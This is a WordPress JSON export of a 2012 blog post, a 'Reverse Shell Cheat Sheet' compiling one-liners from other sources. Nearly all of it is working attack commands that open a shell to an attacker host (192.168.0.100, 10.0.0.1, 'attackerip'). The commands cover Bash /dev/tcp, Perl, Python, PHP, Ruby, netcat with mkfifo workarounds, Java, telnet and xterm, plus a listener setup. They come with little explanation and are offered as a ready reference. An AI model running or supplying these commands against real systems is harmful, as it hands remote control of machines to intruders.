{"id":380,"date":"2012-02-05T22:07:32","date_gmt":"2012-02-05T21:07:32","guid":{"rendered":"https:\/\/www.phillips321.co.uk\/?p=380"},"modified":"2012-02-05T22:07:32","modified_gmt":"2012-02-05T21:07:32","slug":"reverse-shell-cheat-sheet","status":"publish","type":"post","link":"https:\/\/www.phillips321.co.uk\/2012\/02\/05\/reverse-shell-cheat-sheet\/","title":{"rendered":"Reverse Shell Cheat Sheet"},"content":{"rendered":"

There are many pages on the web documenting quick reverse shell one liners. Pentestmonkey<\/a> and Bernardo Damele<\/a> have both created a good few posts between them but I wanted to recapture what they’ve got for my notes purposes. (It’s easier for me to find stuff if it’s in one place). All credit goes to both of those guys where I got all this info from.<\/p>\n

Step one<\/strong> – Set up your listener.<\/p>\n

1
<\/div><\/td>
nc -l<\/span> -v<\/span> attackerip 4444<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

In all these examples the attacker IP will be 192.168.0.100<\/p>\n

Bash<\/strong><\/p>\n

1
2
<\/div><\/td>
exec<\/span> 5<\/span><>\/<\/span>dev\/<\/span>tcp\/<\/span>192.168.0.100\/<\/span>4444<\/span>
\ncat<\/span> <&<\/span>5<\/span> |<\/span> while<\/span> read<\/span> line; do<\/span> $line<\/span> 2<\/span>>&<\/span>5<\/span> >&<\/span>5<\/span>; done<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n
1
<\/div><\/td>
0<\/span><&<\/span>196<\/span>;exec<\/span> 196<\/span><>\/<\/span>dev\/<\/span>tcp\/<\/span>192.168.0.100\/<\/span>4444<\/span>; sh<\/span> <&<\/span>196<\/span> >&<\/span>196<\/span> 2<\/span>>&<\/span>196<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n
1
<\/div><\/td>
bash<\/span> -i<\/span> >&<\/span> \/<\/span>dev\/<\/span>tcp\/<\/span>192.168.0.100\/<\/span>4444<\/span> 0<\/span>>&<\/span>1<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Perl<\/strong><\/p>\n

1
<\/div><\/td>
perl -<\/span>e 'use socket;$i="192.168.0.100";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("\/bin\/sh -i");};'<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n
1
<\/div><\/td>
perl -<\/span>MIO -<\/span>e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.100:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

For windows based systems you can use<\/p>\n

1
<\/div><\/td>
perl -<\/span>MIO -<\/span>e '$c=new IO::Socket::INET(PeerAddr,"192.168.0.100:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Python<\/strong><\/p>\n

1
<\/div><\/td>
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["\/bin\/sh","-i"]);'<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

PHP<\/strong><\/p>\n

1
<\/div><\/td>
php -<\/span>r '$sock=fsockopen("192.168.0.100",4444);exec("\/bin\/sh -i <&3 >&3 2>&3");'<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Ruby<\/strong><\/p>\n

1
<\/div><\/td>
ruby -<\/span>rsocket -<\/span>e'f=TCPSocket.open("192.168.0.100",4444).to_i;exec sprintf("\/bin\/sh -i <&%d >&%d 2>&%d",f,f,f)<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

The following does not need \/bin\/sh:<\/p>\n

1
<\/div><\/td>
ruby -<\/span>rsocket -<\/span>e 'exit if fork;c=TCPSocket.new("192.168.0.100","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

The following is for windows based systems:<\/p>\n

1
<\/div><\/td>
ruby -<\/span>rsocket -<\/span>e 'c=TCPSocket.new("192.168.0.100","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

NetCat<\/strong><\/p>\n

1
<\/div><\/td>
nc -e<\/span> \/<\/span>bin\/<\/span>sh<\/span> 192.168.0.100 4444<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n
1
<\/div><\/td>
nc -c<\/span> \/<\/span>bin\/<\/span>sh<\/span> 192.168.0.100 4444<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n
1
<\/div><\/td>
\/<\/span>bin\/<\/span>sh<\/span> |<\/span> nc 192.168.0.100 4444<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

If the -e flag is disabled you can get around it using the following<\/p>\n

1
<\/div><\/td>
rm<\/span> \/<\/span>tmp\/<\/span>f;mkfifo<\/span> \/<\/span>tmp\/<\/span>f;cat<\/span> \/<\/span>tmp\/<\/span>f|\/<\/span>bin\/<\/span>sh<\/span> -i<\/span> 2<\/span>>&<\/span>1<\/span>|<\/span>nc 10.0.0.1 1234<\/span> >\/<\/span>tmp\/<\/span>f<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n
1
<\/div><\/td>
rm<\/span> -f<\/span> \/<\/span>tmp\/<\/span>p; mknod<\/span> \/<\/span>tmp\/<\/span>p p &&<\/span> nc attackerip 4444<\/span> 0<\/span>\/<\/span>tmp\/<\/span>p<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Java<\/strong><\/p>\n

1
2
3
<\/div><\/td>
r =<\/span> Runtime<\/span><\/a>.getRuntime<\/span>(<\/span>)<\/span>
\np =<\/span> r.exec<\/span>(<\/span>[<\/span>"\/bin\/bash"<\/span>,"-c"<\/span>,"exec 5<>\/dev\/tcp\/192.168.0.100\/4444;cat <&5 | while read line; do \\$<\/span>line 2>&5 >&5; done"<\/span>]<\/span> as String<\/span><\/a>[<\/span>]<\/span>)<\/span>
\np.waitFor<\/span>(<\/span>)<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Telnet<\/strong>
\nIf netcat is missing (and in most cases you wont have this), then use telnet:<\/p>\n

1
<\/div><\/td>
rm<\/span> -f<\/span> \/<\/span>tmp\/<\/span>p; mknod<\/span> \/<\/span>tmp\/<\/span>p p &&<\/span> telnet 192.168.0.100 4444<\/span> 0<\/span>\/<\/span>tmp\/<\/span>p<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n
1
2
<\/div><\/td>
telnet 192.168.0.100 4444<\/span> |<\/span> \/<\/span>bin\/<\/span>bash<\/span> |<\/span> telnet 192.168.0.100 4445<\/span>
\n# also listen on your machine also on port 4445\/tcp<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Xterm<\/strong>
\nThis one is a little more tricky, you need to start a listener on the attacker box to catch the incoming xterm<\/p>\n

1
<\/div><\/td>
Xnest :1<\/span>; xterm -display<\/span> 127.0.0.1:1<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

and then inside the spawned xterm session run this:<\/p>\n

1
<\/div><\/td>
xhost<\/span> +victimip<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Then on the victim you need to run this<\/p>\n

1
<\/div><\/td>
xterm -display<\/span> 192.168.0.100:1<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n","protected":false},"excerpt":{"rendered":"

There are many pages on the web documenting quick reverse shell one liners. Pentestmonkey and Bernardo Damele have both created a good few posts between them but I wanted to recapture what they’ve got for my notes purposes. (It’s easier for me to find stuff if it’s in one place). All credit goes to both […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3,4,1],"tags":[144,142,143,140,141],"_links":{"self":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/380"}],"collection":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/comments?post=380"}],"version-history":[{"count":11,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/380\/revisions"}],"predecessor-version":[{"id":391,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/380\/revisions\/391"}],"wp:attachment":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media?parent=380"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/categories?post=380"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/tags?post=380"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}